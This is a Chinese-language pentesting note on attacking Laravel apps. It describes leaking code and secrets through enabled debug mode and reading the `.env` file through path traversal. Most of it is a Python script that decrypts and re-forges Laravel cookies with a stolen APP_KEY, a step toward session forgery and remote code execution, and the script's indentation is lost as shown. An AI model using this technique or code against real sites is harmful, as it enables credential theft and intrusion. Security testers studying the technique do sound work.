## Laravel技巧

### 调试模式

如果Laravel处于**调试模式**，你将能够访问**代码**和**敏感数据**。\
例如 `http://127.0.0.1:8000/profiles`:

![](<../../.gitbook/assets/image (610).png>)

这通常用于利用其他Laravel RCE CVE。

### .env

Laravel将用于加密cookie和其他凭据的APP保存在一个名为`.env`的文件中，可以通过一些路径遍历访问：`/../.env`

Laravel还会在调试页面中显示此信息（当Laravel发现错误并激活时）。

使用Laravel的秘密APP\_KEY，你可以解密和重新加密cookie：

### 解密Cookie
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
